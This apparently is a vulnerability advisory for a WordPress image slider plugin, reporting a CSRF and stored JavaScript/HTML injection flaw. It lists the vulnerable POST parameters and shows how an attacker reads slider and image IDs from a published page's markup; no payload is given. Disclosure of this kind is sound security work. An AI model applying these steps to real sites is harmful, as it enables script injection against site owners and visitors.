====================================================
    * CSRF + Persistent JS/HTML Injection 
====================================================

=====================
DECRIPTION
=====================

An attacker can make a user with access privileges to a page containing malicious script
and send some parameters injected JavaScript to the database.

============================
vulnerable POST parameters
============================
//variables with variation names//

order_by_[variation_number]
titleimage[variation_number]
sl_url[variation_number]
sl_link_target[variation_number]
im_description[variation_number]
imagess[variation_number]

//variables with constant names//

sl_pausetime
sl_changespeed

===============
EXPLOTATION
===============

variable numbers can be extracted from a published page containing the slider. and make all
parameters injected with code JS / HTML.

-------------------
EXAMPLE
-------------------
[Extracting data for use]

In a vulnerable site and has posted a slider, the malicious user can extract information
the attack is successful.

-----------------------------------------------------------------------------------------
[variation_number] is a variable number that could be extracted as follows.
-----------------------------------------------------------------------------------------
The attacker sees the following framento source code of the page with slider:

<!-- ##########################DOTS######################### -->

   <div class="huge_it_slideshow_dots_container_2"> [ <---SLIDER_ID_FOUND=2 ]
  <div class="huge_it_slideshow_dots_thumbnails_2">
        <div id="huge_it_dots_0_1" class="huge_it_slideshow_dots_1 huge_it_slideshow_dots_active_1" 
onclick="huge_it_change_image_1(parseInt(jQuery('#huge_it_current_image_key_1').val()), '0', data_1,false,true);
return false;" 

image_id="14" [ <---ITS_VARIATION_NUMBER!!!  ]

image_key="0"></div>
          </div>
    <a id="huge_it_slideshow_left_1" href="#" >
<div id="huge_it_slideshow_left-ico_1">
<div><i class="huge_it_slideshow_prev_btn_1 fa"></i></div></div>
        </a>
    <a id="huge_it_slideshow_right_1" href="#" >
        <div id="huge_it_slideshow_right-ico_1 , data_1">
        <div><i class="huge_it_slideshow_next_btn_1 fa"></i></div></div>
    </a>
        </div>
<!-- ##########################IMAGES######################### -->


-----------------------------------------------------------------------------------
Classes tags [<div>] have a number at the end that is the id of the slider.
Also labeled [<div id = "huge_it_dots_ ...>] has the property [image_id] which is the
POST variable number of vulnerable parameters.
